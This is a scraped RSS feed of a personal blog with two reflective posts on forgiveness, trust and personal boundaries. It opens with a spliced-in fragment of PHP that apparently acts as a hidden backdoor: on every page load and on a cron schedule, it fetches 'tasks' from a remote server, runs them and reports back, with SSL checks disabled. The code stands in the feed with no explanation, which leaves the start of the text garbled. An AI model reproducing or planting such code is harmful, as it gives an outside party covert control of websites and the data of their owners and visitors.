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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); forgiveness – Tobioloyede https://tobioloyede.com Delving into daily life issues to foster change Thu, 29 Dec 2022 10:05:35 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://tobioloyede.com/wp-content/uploads/2022/12/cropped-Beige-Elegant-Personal-Business-Card-2-32x32.png forgiveness – Tobioloyede https://tobioloyede.com 32 32 Closure Musings https://tobioloyede.com/closure-musings/ https://tobioloyede.com/closure-musings/#comments Wed, 20 Jul 2022 20:28:32 +0000 https://tobioloyedesblog.wordpress.com/?p=559

Here I am thinking about trust, forgiveness, faith, and boundary-personal space. I know many people take time to allow others to earn their trust, but it’s the opposite for me.

Once my intuition does not tell me otherwise, I trust you first and figure things out however they play out. I’m guessing you’re shaking your heads right now, even feeling bad for me or wondering how gullible of me. I know right. It’s funny how I don’t even give up after being served my first hit. I give you more chances just because I think no one is perfect as we all are striving towards being and doing better (doing this is hard and painful).


For some of us, we don’t retreat when things get tough- we thrive and that’s how we build resilience. For some of us, we cut off, unfriend, or block instantly, and that in itself takes a special kind of skill set to do that (some of us don’t have that skill and courage if I may call it that).
 
You can forgive someone and yet not accept them back into your life. It’s simply no longer trusting them.
I forgive you and I hold no grudge, but we must accept that the relationship or happening is just not understandable or acceptable by both parties. Thus, each person holds on to their belief and that is fine. That has a thing or two with personal healthy boundaries.
 
As a work in progress, there are times I lash out because of anger. One question is “how do you react when you are angry, when your trust is broken or when your personal boundary is disrespected?”


Roy Lewicki, a lead author of the study and professor emeritus of management and human resources at The Ohio State University’s Fisher College of Business posits that “apologies really do work, but you should make sure you hit as many of the six key components as possible,” The six elements include:
 
·       Expression of regret 
·       Explanation of what went wrong 
·       Acknowledgment of responsibility 
·       Declaration of repentance 
·      Offer of repair 
·      Request forgiveness 

Lewicki affirms that at least two of the elements must be presented by the offender for you to think about forgiving or more. In all, give yourself the right to consider yourself first, to consider how the situation affects your peace and mental health. As an act of generosity, forgive, but do not be disrespected.


Read more: The 6 elements of an effective apology, per science |The Ohio State University https://news.osu.edu/the-6-elements-of-an-effective-apology-according-to-science/

 

]]> https://tobioloyede.com/closure-musings/feed/ 1 Learning to Forgive https://tobioloyede.com/learning-to-forgive/ https://tobioloyede.com/learning-to-forgive/#comments Mon, 19 Jul 2021 01:25:56 +0000 https://tobioloyedesblog.wordpress.com/?p=441

Over time, I have been in situations where I had to let go without even letting the other party know where or how they hurt me. My life is no doubt one that is full of vicissitudes just as anyone’s. My downs have been deeper than most, but I always found my way back up. I have come to realize that surviving dissension with others or oneself is different from healing or finding peace. The process of surviving is not a loveable one, it is tough(I say that affirmatively). There are times I ask myself if being a survivor is worth it and this is because someone once said to me, “what’s the big deal in being a survivor? Life will surely end.” That question perfectly resonated with me. I sought for answers. Surviving is not a child’s play, it is serious work. Not everyone learns a lesson or two from their survival process; most people just go through it. Therefore, whatever the pain or experience you survive, there is always the phase of forgiveness. Yes, forgiveness. I am sure some are thinking what an easy task that is (just being sarcastic). However, without mincing words, forgiveness is a key to inner peace and growth.
Think about that for a few seconds.

Essentially, forgiveness is explained as the act of exonerating an offender. How many times do I have to forgive an offender who repeatedly hurt me? (You may be asking yourself this question just as I am).

In The Purpose Driven Life, Rick Warren explains that many people reluctantly show mercy not because they do not want to, but because they do not understand the difference between forgiveness and trust. I have learned that forgiving others on the one hand must be instant, whether or not a person deserves it.

Trust, on the other hand is futuristic (with future behavior) and it possibly takes time to be built or rebuilt. For Warren, “If someone hurts you repeatedly, you are commanded by God to forgive them instantly, but you are not expected to trust them immediately, and you are not expected to continue allowing them to hurt you.” (I honestly struggle with this, I give too many unnecessary chances )

It is noteworthy that Forgiveness isn’t condoning what the other person did or sweeping things under the rug. It is also not necessarily forgetting what happened (I am really guilty of this- I most likely will remember what you did vividly or even what you said word for word years later). Depending on the situation, forgiveness itself may require a time of healing.

Steps to Forgiveness
1. Accept the pain
Until you acknowledge the pain, you cannot work through the hurt. You are free to cry, go through feelings of resentment as they affirm that something is wrong. Do not numb the emotion.

2. Deliberately reflect
Take your time to think through the situation. You can keep a journal where you pour out your feelings or speak with a trusted individual (with emphasis on trust).

3. Put yourself in the offender’s shoes
Think about times you have erred. How did the wrongdoing make you feel? This in particular helps me. It necessarily might not be helpful to you, but you could try it. If you were in the person’s shoes, what would you have done better.

4. Remember God’s forgiveness and reflect on that.

5.l Let go of the hurt.

6. Continue to forgive. I have come to realize forgiveness is a continuous process. Letting go can no doubt be a hectic task, but just one thing I love to talk about- intentionality. Be intentional and practice it. You can always come back with your testimonies.

It is noteworthy that the concept of forgiveness goes beyond any ethical or vague term. As opposed to being a moral concept, it is psychological. To truly forgive and continue life’s journey, it is important to understand the counterintuitive psychology of forgiveness-peace and freedom.

First Image Credit: Murtada Muhammad Gusau on Premium Times.

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